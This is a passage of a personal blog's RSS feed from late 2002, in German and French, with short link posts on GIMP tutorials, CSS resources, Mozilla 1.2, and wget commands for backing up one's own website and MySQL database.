  16804.    <content:encoded><![CDATA[Verschiedene deutsche Tutorials zu <a href="http://gimp.org/"><b>GIMP</b></a>:<br>- <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/04/bildbearbeitung-mit-gimp-teil-1/"><b>Gimp verstehen</b></a><br>-  <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/05/bildbearbeitung-mit-gimp-teil-2/"><b>Nachbearbeitet </b></a><br>- <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/06/bildbearbeitung-mit-gimp-teil-3/"><b>Scheibchenweise</b></a><br>- <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/07/bildbearbeitung-mit-gimp-teil-4/"><b>Angestöpselt</b></a><br>- <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/08/bildbearbeitung-mit-gimp-teil-5/"><b>Gimpressionen</b></a><br>- <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/09/bildbearbeitung-mit-gimp-teil-6/"><b>Bilder fürs Web</b></a><br>- <a href="https://www.linux-community.de/ausgaben/linuxuser/2001/10/bildbearbeitung-mit-gimp-teil-7/"><b>Farbverläufe und Pfade</b></a><br>- <a href="http://www.home.unix-ag.org/simon/gimp/lt2k/talk/"><b>Bildbearbeitung mit Gimp 1.2</b></a><br>- <a href="https://web.archive.org/web/20021208055803/http://www.gimp.de/Grokking_the_Gimp/"><b>Grokking the Gimp</b></a><br>- <a href="https://web.archive.org/web/20030323035440/https://www.mitp.de/imperia/md/content/vmi/0615/0615_Kap03-1.pdf"><b>Gimp in 80 Minuten</b></a><br>- <a href="https://web.archive.org/web/20021208113623/http://www.gm4t9.de/gimp/"><b>die Gimp-Seiten</b></a><br>- <a href="#" class="gone"><b>Fotoretusche mit Gimp</b></a><br>- <a href="https://web.archive.org/web/20021203053702/http://home.t-online.de/home/creativepartners/Gimp/gimp.html"><b>GIMP for Windows</b></a><br>- <a href="https://web.archive.org/web/20030115144135/http://www.lemitec.de/gimp/"><b>Lehrfilme</b></a><br><br>abgestaubt bei <a href="https://web.archive.org/web/20150122234347/http://blog.rompe.org/"><b>rompe</b></a> und <a href="http://kniebes.com/"><b>mk</b></a>
  16805. ]]></content:encoded>
  16806.  </item>
  16807.  
  16808.  <item>
  16809.    <title>Forum du PHP 2002 - Paris</title>
  16810.    <link>https://blog.x-way.org/Coding/2002/12/03/Forum_du_PHP_2002_-_Paris.html</link>
  16811.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=217</guid>
  16812.    <dc:creator>Andreas Jaggi</dc:creator>
  16813.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16814.    <pubDate>Tue, 03 Dec 2002 01:28:00 +0100</pubDate>
  16815.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  16816.    <description><![CDATA[<br><a href="http://www.afup.org"><img src="https://blog.x-way.org/images/afup-logo.gif" alt="AFUP : Association Française des Utilisateurs de PHP"></a><br><br>L'AFUP propose de participier au <a href="https://web.archive.org/web/20030201232322/http://www.afup.org/article.php3?id_article=136"><b>Forum de PHP 2002</b></a> à Paris les 9 et 10 décembre 2002.
  16817. ]]></description>
  16818.    <content:encoded><![CDATA[<br><a href="http://www.afup.org"><img src="https://blog.x-way.org/images/afup-logo.gif" alt="AFUP : Association Française des Utilisateurs de PHP"></a><br><br>L'AFUP propose de participier au <a href="https://web.archive.org/web/20030201232322/http://www.afup.org/article.php3?id_article=136"><b>Forum de PHP 2002</b></a> à Paris les 9 et 10 décembre 2002.
  16819. ]]></content:encoded>
  16820.  </item>
  16821.  
  16822.  <item>
  16823.    <title>CSS-Technik.de</title>
  16824.    <link>https://blog.x-way.org/Webdesign/2002/12/03/CSS-Technikde.html</link>
  16825.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=216</guid>
  16826.    <dc:creator>Andreas Jaggi</dc:creator>
  16827.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16828.    <pubDate>Tue, 03 Dec 2002 01:17:00 +0100</pubDate>
  16829.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  16830.    <description><![CDATA[<i><a href="http://css-technik.de/"><b>CSS-Technik</b></a> ist ein moderiertes Online-Projekt zur Sammlung von Ressourcen, Scripte und Tutorials zum Thema CSS und PHP für Webgestalter und Internetworker.</i><br>via <a href="http://www.i-worker.de/"><b>[i-worker]</b></a>
  16831. ]]></description>
  16832.    <content:encoded><![CDATA[<i><a href="http://css-technik.de/"><b>CSS-Technik</b></a> ist ein moderiertes Online-Projekt zur Sammlung von Ressourcen, Scripte und Tutorials zum Thema CSS und PHP für Webgestalter und Internetworker.</i><br>via <a href="http://www.i-worker.de/"><b>[i-worker]</b></a>
  16833. ]]></content:encoded>
  16834.  </item>
  16835.  
  16836.  <item>
  16837.    <title>Es weihnachtet ...</title>
  16838.    <link>https://blog.x-way.org/Misc/2002/12/02/Es_weihnachtet_.html</link>
  16839.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=210</guid>
  16840.    <dc:creator>Andreas Jaggi</dc:creator>
  16841.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16842.    <pubDate>Mon, 02 Dec 2002 20:44:00 +0100</pubDate>
  16843.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16844.    <description><![CDATA[<a href="http://www.elfengleich.de/"><b>Sannie</b></a> hat einige amüsante <a href="https://web.archive.org/web/20030506104625/http://www.elfengleich.de/index.php?log_id=332"><b>Weihnachtsgeschichten</b></a> ;-)
  16845. ]]></description>
  16846.    <content:encoded><![CDATA[<a href="http://www.elfengleich.de/"><b>Sannie</b></a> hat einige amüsante <a href="https://web.archive.org/web/20030506104625/http://www.elfengleich.de/index.php?log_id=332"><b>Weihnachtsgeschichten</b></a> ;-)
  16847. ]]></content:encoded>
  16848.  </item>
  16849.  
  16850.  <item>
  16851.    <title>100 % francophone</title>
  16852.    <link>https://blog.x-way.org/Linux/2002/12/02/100__francophone.html</link>
  16853.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=209</guid>
  16854.    <dc:creator>Andreas Jaggi</dc:creator>
  16855.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16856.    <pubDate>Mon, 02 Dec 2002 01:10:00 +0100</pubDate>
  16857.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16858.    <description><![CDATA[On trouve sur <a href="http://www.jesuislibre.org/"><b>jesuislibre.org</b></a> des logiciels libres et 100% francophones ;-)
  16859. ]]></description>
  16860.    <content:encoded><![CDATA[On trouve sur <a href="http://www.jesuislibre.org/"><b>jesuislibre.org</b></a> des logiciels libres et 100% francophones ;-)
  16861. ]]></content:encoded>
  16862.  </item>
  16863.  
  16864.  <item>
  16865.    <title>Winterswap</title>
  16866.    <link>https://blog.x-way.org/Misc/2002/12/02/Winterswap1.html</link>
  16867.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=208</guid>
  16868.    <dc:creator>Andreas Jaggi</dc:creator>
  16869.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16870.    <pubDate>Mon, 02 Dec 2002 00:12:00 +0100</pubDate>
  16871.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16872.    <description><![CDATA[So, die Tracklist für den <a href="https://web.archive.org/web/20021202000000/http://fischergrube.de/swap/"><b>Winterswap</b></a> steht und die Discs sind gebraten ;-)
  16873. ]]></description>
  16874.    <content:encoded><![CDATA[So, die Tracklist für den <a href="https://web.archive.org/web/20021202000000/http://fischergrube.de/swap/"><b>Winterswap</b></a> steht und die Discs sind gebraten ;-)
  16875. ]]></content:encoded>
  16876.  </item>
  16877.  
  16878.  <item>
  16879.    <title>World AIDS Day</title>
  16880.    <link>https://blog.x-way.org/Misc/2002/12/01/World_AIDS_Day.html</link>
  16881.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=206</guid>
  16882.    <dc:creator>Andreas Jaggi</dc:creator>
  16883.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16884.    <pubDate>Sun, 01 Dec 2002 00:00:00 +0100</pubDate>
  16885.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16886.    <description><![CDATA[<a href="http://www.worldaidsday.org/"><img src="https://blog.x-way.org/images/lataids.gif" width="199" height="202" alt="World AIDS Day"></a>
  16887. ]]></description>
  16888.    <content:encoded><![CDATA[<a href="http://www.worldaidsday.org/"><img src="https://blog.x-way.org/images/lataids.gif" width="199" height="202" alt="World AIDS Day"></a>
  16889. ]]></content:encoded>
  16890.  </item>
  16891.  
  16892.  <item>
  16893.    <title>Maturaarbeitpräsentation</title>
  16894.    <link>https://blog.x-way.org/School/2002/11/29/Maturaarbeitpraesentation.html</link>
  16895.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=205</guid>
  16896.    <dc:creator>Andreas Jaggi</dc:creator>
  16897.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16898.    <pubDate>Fri, 29 Nov 2002 17:45:00 +0100</pubDate>
  16899.    <category domain="https://blog.x-way.org/School/">School</category>
  16900.    <description><![CDATA[So, Präsentation ist fertig vorbereitet. Nun geht's ab ins <a href="https://web.archive.org/web/20030209031229/www.gymhmsschadau.ch"><b>Gymnasium</b></a>, auf dass um 20 Uhr alles klappt :-)
  16901. ]]></description>
  16902.    <content:encoded><![CDATA[So, Präsentation ist fertig vorbereitet. Nun geht's ab ins <a href="https://web.archive.org/web/20030209031229/www.gymhmsschadau.ch"><b>Gymnasium</b></a>, auf dass um 20 Uhr alles klappt :-)
  16903. ]]></content:encoded>
  16904.  </item>
  16905.  
  16906.  <item>
  16907.    <title>Mozilla 1.2 Released</title>
  16908.    <link>https://blog.x-way.org/Misc/2002/11/27/Mozilla_12_Released.html</link>
  16909.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=204</guid>
  16910.    <dc:creator>Andreas Jaggi</dc:creator>
  16911.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16912.    <pubDate>Wed, 27 Nov 2002 17:24:00 +0100</pubDate>
  16913.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16914.    <description><![CDATA[<a href="http://mozilla.org/"><b>Mozilla</b></a> 1.2 stable est là! <a href="http://mozilla.org/"><b>Ici</b></a> télécharger!
  16915. ]]></description>
  16916.    <content:encoded><![CDATA[<a href="http://mozilla.org/"><b>Mozilla</b></a> 1.2 stable est là! <a href="http://mozilla.org/"><b>Ici</b></a> télécharger!
  16917. ]]></content:encoded>
  16918.  </item>
  16919.  
  16920.  <item>
  16921.    <title>Maturaarbeit</title>
  16922.    <link>https://blog.x-way.org/School/2002/11/27/Maturaarbeit1.html</link>
  16923.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=203</guid>
  16924.    <dc:creator>Andreas Jaggi</dc:creator>
  16925.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16926.    <pubDate>Wed, 27 Nov 2002 01:46:00 +0100</pubDate>
  16927.    <category domain="https://blog.x-way.org/School/">School</category>
  16928.    <description><![CDATA[<a href="https://blog.x-way.org/stuff/Usability%20-%20Benutzerfreundlichkeit%20von%20Websites.pdf"><b>Hier</b></a> gibt's meine Maturaarbeit (Usability - Benutzerfreundlichkeit von Websites) als PDF zum Download.<br>Es ist nur eine Light-Version fürs Web. Wer die 500 MB Print-Version will, bitte melden ;-)<br><br>Logischerweise bin ich mit dem Vorbereiten der Präsentation noch nirgends ;-)
  16929. ]]></description>
  16930.    <content:encoded><![CDATA[<a href="https://blog.x-way.org/stuff/Usability%20-%20Benutzerfreundlichkeit%20von%20Websites.pdf"><b>Hier</b></a> gibt's meine Maturaarbeit (Usability - Benutzerfreundlichkeit von Websites) als PDF zum Download.<br>Es ist nur eine Light-Version fürs Web. Wer die 500 MB Print-Version will, bitte melden ;-)<br><br>Logischerweise bin ich mit dem Vorbereiten der Präsentation noch nirgends ;-)
  16931. ]]></content:encoded>
  16932.  </item>
  16933.  
  16934.  <item>
  16935.    <title>Unterhaltung</title>
  16936.    <link>https://blog.x-way.org/Misc/2002/11/26/Unterhaltung.html</link>
  16937.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=202</guid>
  16938.    <dc:creator>Andreas Jaggi</dc:creator>
  16939.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16940.    <pubDate>Tue, 26 Nov 2002 13:59:00 +0100</pubDate>
  16941.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16942.    <description><![CDATA[<a href="https://web.archive.org/web/20021209101959/http://derulmer.holyhead.de/forum?read=372"><b>Voll Krass bei die Ring</b></a> - Der Herr der Ringe, kommentiert ;-)<br>abgestaubt bei <a href="http://kniebes.com/"><b>mk</b></a>
  16943. ]]></description>
  16944.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021209101959/http://derulmer.holyhead.de/forum?read=372"><b>Voll Krass bei die Ring</b></a> - Der Herr der Ringe, kommentiert ;-)<br>abgestaubt bei <a href="http://kniebes.com/"><b>mk</b></a>
  16945. ]]></content:encoded>
  16946.  </item>
  16947.  
  16948.  <item>
  16949.    <title>:.</title>
  16950.    <link>https://blog.x-way.org/Tech/2002/11/25/.html</link>
  16951.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=201</guid>
  16952.    <dc:creator>Andreas Jaggi</dc:creator>
  16953.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16954.    <pubDate>Mon, 25 Nov 2002 23:33:00 +0100</pubDate>
  16955.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  16956.    <description><![CDATA[Meine <a href="https://blog.x-way.org/images/mx500.jpg"><b>Maus</b></a>, meine <a href="https://blog.x-way.org/images/tastatur.jpg"><b>Tastatur</b></a> und mein <a href="https://blog.x-way.org/images/gehause.jpg"><b>Gehäuse</b></a>. Schön bunt, nicht? ;-)
  16957. ]]></description>
  16958.    <content:encoded><![CDATA[Meine <a href="https://blog.x-way.org/images/mx500.jpg"><b>Maus</b></a>, meine <a href="https://blog.x-way.org/images/tastatur.jpg"><b>Tastatur</b></a> und mein <a href="https://blog.x-way.org/images/gehause.jpg"><b>Gehäuse</b></a>. Schön bunt, nicht? ;-)
  16959. ]]></content:encoded>
  16960.  </item>
  16961.  
  16962.  <item>
  16963.    <title>200. Eintrag!</title>
  16964.    <link>https://blog.x-way.org/Misc/2002/11/25/200_Eintrag.html</link>
  16965.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=200</guid>
  16966.    <dc:creator>Andreas Jaggi</dc:creator>
  16967.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16968.    <pubDate>Mon, 25 Nov 2002 21:18:00 +0100</pubDate>
  16969.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  16970.    <description><![CDATA[Es lässt sich also doch so einiges an Schwachsinn zusammentragen ;-)
  16971. ]]></description>
  16972.    <content:encoded><![CDATA[Es lässt sich also doch so einiges an Schwachsinn zusammentragen ;-)
  16973. ]]></content:encoded>
  16974.  </item>
  16975.  
  16976.  <item>
  16977.    <title>TCP/IP - Lehrgang</title>
  16978.    <link>https://blog.x-way.org/Networking/2002/11/25/TCPIP_-_Lehrgang.html</link>
  16979.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=199</guid>
  16980.    <dc:creator>Andreas Jaggi</dc:creator>
  16981.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16982.    <pubDate>Mon, 25 Nov 2002 21:13:00 +0100</pubDate>
  16983.    <category domain="https://blog.x-way.org/Networking/">Networking</category>
  16984.    <description><![CDATA[Noch eine Gedächtnisstütze: <a href="https://web.archive.org/web/20021128113805/http://people.ee.ethz.ch/~strub/tcp-ip/tcp-ip.html"><b>TCP/IP - Lehrgang</b></a> von <a href="https://web.archive.org/web/20021128113805/http://people.ee.ethz.ch/~strub/"><b>Dr. Rudolf Strub</b></a>
  16985. ]]></description>
  16986.    <content:encoded><![CDATA[Noch eine Gedächtnisstütze: <a href="https://web.archive.org/web/20021128113805/http://people.ee.ethz.ch/~strub/tcp-ip/tcp-ip.html"><b>TCP/IP - Lehrgang</b></a> von <a href="https://web.archive.org/web/20021128113805/http://people.ee.ethz.ch/~strub/"><b>Dr. Rudolf Strub</b></a>
  16987. ]]></content:encoded>
  16988.  </item>
  16989.  
  16990.  <item>
  16991.    <title>Einführung in Unix und die csh</title>
  16992.    <link>https://blog.x-way.org/Linux/2002/11/25/Einfuehrung_in_Unix_und_die_csh.html</link>
  16993.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=198</guid>
  16994.    <dc:creator>Andreas Jaggi</dc:creator>
  16995.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  16996.    <pubDate>Mon, 25 Nov 2002 21:12:00 +0100</pubDate>
  16997.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  16998.    <description><![CDATA[Nur damit ich den Link nicht verliere: <a href="https://web.archive.org/web/20021004011033/http://people.ee.ethz.ch/~strub/unix/unix.html"><b>Einführung in Unix und die csh</b></a> von <a href="https://web.archive.org/web/20021128113805/http://people.ee.ethz.ch/~strub/"><b>Dr. Rudolf Strub</b></a><br>Dort hat's übrigens noch mehr Anleitungen: <a href="https://web.archive.org/web/20021128113805/http://people.ee.ethz.ch/~strub/tkperl/tkperl-einf.html"><b>perl/Tk</b></a> und <a href="https://web.archive.org/web/20021004013233/http://people.ee.ethz.ch/~strub/vnc/index.html"><b>VNC</b></a>.
  16999. ]]></description>
  17000.    <content:encoded><![CDATA[Nur damit ich den Link nicht verliere: <a href="https://web.archive.org/web/20021004011033/http://people.ee.ethz.ch/~strub/unix/unix.html"><b>Einführung in Unix und die csh</b></a> von <a href="https://web.archive.org/web/20021128113805/http://people.ee.ethz.ch/~strub/"><b>Dr. Rudolf Strub</b></a><br>Dort hat's übrigens noch mehr Anleitungen: <a href="https://web.archive.org/web/20021128113805/http://people.ee.ethz.ch/~strub/tkperl/tkperl-einf.html"><b>perl/Tk</b></a> und <a href="https://web.archive.org/web/20021004013233/http://people.ee.ethz.ch/~strub/vnc/index.html"><b>VNC</b></a>.
  17001. ]]></content:encoded>
  17002.  </item>
  17003.  
  17004.  <item>
  17005.    <title>centricle</title>
  17006.    <link>https://blog.x-way.org/Webdesign/2002/11/25/centricle.html</link>
  17007.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=197</guid>
  17008.    <dc:creator>Andreas Jaggi</dc:creator>
  17009.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17010.    <pubDate>Mon, 25 Nov 2002 21:07:00 +0100</pubDate>
  17011.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  17012.    <description><![CDATA[Auf <a href="https://web.archive.org/web/20021124015558/http://centricle.com/"><b>centricle.com</b></a> findet man viele Informationen über CSS. Look at it!
  17013. ]]></description>
  17014.    <content:encoded><![CDATA[Auf <a href="https://web.archive.org/web/20021124015558/http://centricle.com/"><b>centricle.com</b></a> findet man viele Informationen über CSS. Look at it!
  17015. ]]></content:encoded>
  17016.  </item>
  17017.  
  17018.  <item>
  17019.    <title>Valid RSS</title>
  17020.    <link>https://blog.x-way.org/Coding/2002/11/25/Valid_RSS.html</link>
  17021.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=196</guid>
  17022.    <dc:creator>Andreas Jaggi</dc:creator>
  17023.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17024.    <pubDate>Mon, 25 Nov 2002 21:02:00 +0100</pubDate>
  17025.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  17026.    <description><![CDATA[<a href="https://validator.w3.org/feed/check.cgi?url=https%3A%2F%2Fblog.x-way.org%2Frss.xml"><img alt="Valid RSS" src="https://blog.x-way.org/images/valid-rss.png"></a><br><br>Mon RSS-Feed est <a href="https://validator.w3.org/feed/check.cgi?url=https%3A%2F%2Fblog.x-way.org%2Frss.xml"><b>valid</b></a>!
  17027. ]]></description>
  17028.    <content:encoded><![CDATA[<a href="https://validator.w3.org/feed/check.cgi?url=https%3A%2F%2Fblog.x-way.org%2Frss.xml"><img alt="Valid RSS" src="https://blog.x-way.org/images/valid-rss.png"></a><br><br>Mon RSS-Feed est <a href="https://validator.w3.org/feed/check.cgi?url=https%3A%2F%2Fblog.x-way.org%2Frss.xml"><b>valid</b></a>!
  17029. ]]></content:encoded>
  17030.  </item>
  17031.  
  17032.  <item>
  17033.    <title>Evil phpMyAdmin Hack</title>
  17034.    <link>https://blog.x-way.org/Coding/2002/11/25/Evil_phpMyAdmin_Hack.html</link>
  17035.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=195</guid>
  17036.    <dc:creator>Andreas Jaggi</dc:creator>
  17037.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17038.    <pubDate>Mon, 25 Nov 2002 19:38:00 +0100</pubDate>
  17039.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  17040.    <description><![CDATA[Mit <a href="http://www.gnu.org/software/wget/wget.html"><b>wget</b></a> kann man natürlich auch <a href="http://mysql.com/"><b>MySQL</b></a>-DBs sichern. Wenn man nur eingeschränkten Zugriff zum Server hat, muss man die mysqldump-Funktion von <a href="http://phpmyadmin.net/"><b>phpMyAdmin</b></a> etwas missbrauchen ;-)<br><br>wget.exe -O F:Backup/mysqldump.sql --http-user=mysqluser --http-passwd=mysqlpassword "http://domain.com/phpmyadmin/tbl_dump.php?db=datenbankname&amp;what=data&amp;showcolumns=yes&amp;asfile=sendit"
  17041. ]]></description>
  17042.    <content:encoded><![CDATA[Mit <a href="http://www.gnu.org/software/wget/wget.html"><b>wget</b></a> kann man natürlich auch <a href="http://mysql.com/"><b>MySQL</b></a>-DBs sichern. Wenn man nur eingeschränkten Zugriff zum Server hat, muss man die mysqldump-Funktion von <a href="http://phpmyadmin.net/"><b>phpMyAdmin</b></a> etwas missbrauchen ;-)<br><br>wget.exe -O F:Backup/mysqldump.sql --http-user=mysqluser --http-passwd=mysqlpassword "http://domain.com/phpmyadmin/tbl_dump.php?db=datenbankname&amp;what=data&amp;showcolumns=yes&amp;asfile=sendit"
  17043. ]]></content:encoded>
  17044.  </item>
  17045.  
  17046.  <item>
  17047.    <title>wget</title>
  17048.    <link>https://blog.x-way.org/Coding/2002/11/25/wget.html</link>
  17049.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=194</guid>
  17050.    <dc:creator>Andreas Jaggi</dc:creator>
  17051.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17052.    <pubDate>Mon, 25 Nov 2002 19:28:00 +0100</pubDate>
  17053.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  17054.    <description><![CDATA[Schön, dass es <a href="http://www.gnu.org/software/wget/wget.html"><b>wget</b></a> auch für Windows gibt. Damit kann man dann so schöne Sachen machen, wie zum Beispiel das automatisierte Backup einer ganzen Website:<br><br>wget.exe -m ftp://user:password@domain.com/ -P F:Backup
  17055. ]]></description>
  17056.    <content:encoded><![CDATA[Schön, dass es <a href="http://www.gnu.org/software/wget/wget.html"><b>wget</b></a> auch für Windows gibt. Damit kann man dann so schöne Sachen machen, wie zum Beispiel das automatisierte Backup einer ganzen Website:<br><br>wget.exe -m ftp://user:password@domain.com/ -P F:Backup
  17057. ]]></content:encoded>
  17058.  </item>
  17059.  
  17060.  <item>
  17061.    <title> Logitech® MX™500 Optical Mouse</title>
  17062.    <link>https://blog.x-way.org/Tech/2002/11/25/_Logitech_MX8482500_Optical_Mouse.html</link>
  17063.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=193</guid>
  17064.    <dc:creator>Andreas Jaggi</dc:creator>
  17065.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17066.    <pubDate>Mon, 25 Nov 2002 19:19:00 +0100</pubDate>
  17067.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  17068.    <description><![CDATA[<a href="https://blog.x-way.org/images/mx500.jpg"><img src="https://blog.x-way.org/images/mx500.gif" alt="Logitech® MX™500 Optical Mouse"></a><br><br>Jetzt meins ;-)<br><br>Ein Lob auf <a href="https://web.archive.org/web/20060215102832/http://byte-line.ch/"><b>byte-line.ch</b></a>!
  17069. ]]></description>
  17070.    <content:encoded><![CDATA[<a href="https://blog.x-way.org/images/mx500.jpg"><img src="https://blog.x-way.org/images/mx500.gif" alt="Logitech® MX™500 Optical Mouse"></a><br><br>Jetzt meins ;-)<br><br>Ein Lob auf <a href="https://web.archive.org/web/20060215102832/http://byte-line.ch/"><b>byte-line.ch</b></a>!
  17071. ]]></content:encoded>
  17072.  </item>
  17073.  
  17074.  <item>
  17075.    <title>em</title>
  17076.    <link>https://blog.x-way.org/Webdesign/2002/11/24/em.html</link>
  17077.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=192</guid>
  17078.    <dc:creator>Andreas Jaggi</dc:creator>
  17079.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17080.    <pubDate>Sun, 24 Nov 2002 23:36:00 +0100</pubDate>
  17081.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  17082.    <description><![CDATA[So, Schriftgrössenangaben sind nicht mehr in pt sondern in em.<br>Mozilla, IE und Opera interpretieren's in etwa gleich. Leider ist's nun im Netscape 4.x wirklich nicht mehr ansehbar.<br>Aber keine Sorge, dass nächste Layout ist schon in Planung ;-)
  17083. ]]></description>
  17084.    <content:encoded><![CDATA[So, Schriftgrössenangaben sind nicht mehr in pt sondern in em.<br>Mozilla, IE und Opera interpretieren's in etwa gleich. Leider ist's nun im Netscape 4.x wirklich nicht mehr ansehbar.<br>Aber keine Sorge, dass nächste Layout ist schon in Planung ;-)
  17085. ]]></content:encoded>
  17086.  </item>
  17087.  
  17088.  <item>
  17089.    <title>11h11</title>
  17090.    <link>https://blog.x-way.org/Webdesign/2002/11/24/11h11.html</link>
  17091.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=191</guid>
  17092.    <dc:creator>Andreas Jaggi</dc:creator>
  17093.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17094.    <pubDate>Sun, 24 Nov 2002 00:48:00 +0100</pubDate>
  17095.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  17096.    <description><![CDATA[Sur <a href="https://web.archive.org/web/20021125231019/http://www.11h11.com/"><b>11h11.com</b></a> il y a plus de 400 oeuvres, crées en 40 projets. Et cela ne sont pas seulement des images crées avec photoshop. Il y a des peintures, des images digitales, des photographies, des illustrations, des sons et même des vidéos! C'est vraiment une source d'art multimédial :-)
  17097. ]]></description>
  17098.    <content:encoded><![CDATA[Sur <a href="https://web.archive.org/web/20021125231019/http://www.11h11.com/"><b>11h11.com</b></a> il y a plus de 400 oeuvres, crées en 40 projets. Et cela ne sont pas seulement des images crées avec photoshop. Il y a des peintures, des images digitales, des photographies, des illustrations, des sons et même des vidéos! C'est vraiment une source d'art multimédial :-)
  17099. ]]></content:encoded>
  17100.  </item>
  17101.  
  17102.  <item>
  17103.    <title>12 inches couch</title>
  17104.    <link>https://blog.x-way.org/Webdesign/2002/11/24/12_inches_couch.html</link>
  17105.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=190</guid>
  17106.    <dc:creator>Andreas Jaggi</dc:creator>
  17107.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17108.    <pubDate>Sun, 24 Nov 2002 00:30:00 +0100</pubDate>
  17109.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  17110.    <description><![CDATA[<a href="https://web.archive.org/web/20021203113508/http://www.11h11.com/obsolete/">t w e l v e <b>i n c h e s</b> c o u c h</a> est le site d'une étudiante en graphisme.<br>Le site a un design très spécial, à voir absolument!
  17111. ]]></description>
  17112.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20021203113508/http://www.11h11.com/obsolete/">t w e l v e <b>i n c h e s</b> c o u c h</a> est le site d'une étudiante en graphisme.<br>Le site a un design très spécial, à voir absolument!
  17113. ]]></content:encoded>
  17114.  </item>
  17115.  
  17116.  <item>
  17117.    <title>Star Wars Episode IV</title>
  17118.    <link>https://blog.x-way.org/Misc/2002/11/23/Star_Wars_Episode_IV.html</link>
  17119.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=189</guid>
  17120.    <dc:creator>Andreas Jaggi</dc:creator>
  17121.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  17122.    <pubDate>Sat, 23 Nov 2002 20:24:00 +0100</pubDate>
  17123.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  17124.    <description><![CDATA[Einfach mal das in die Kommandozeile eingeben: <pre>telnet blinkenlights.nl</pre><br>Gefunden bei <a href="https://web.archive.org/web/20021206183751/http://www.dynamicobjects.com/~diego/weblogs/arf/"><b>Abort, Retry, Fail?</b></a>
  17125. ]]></description>
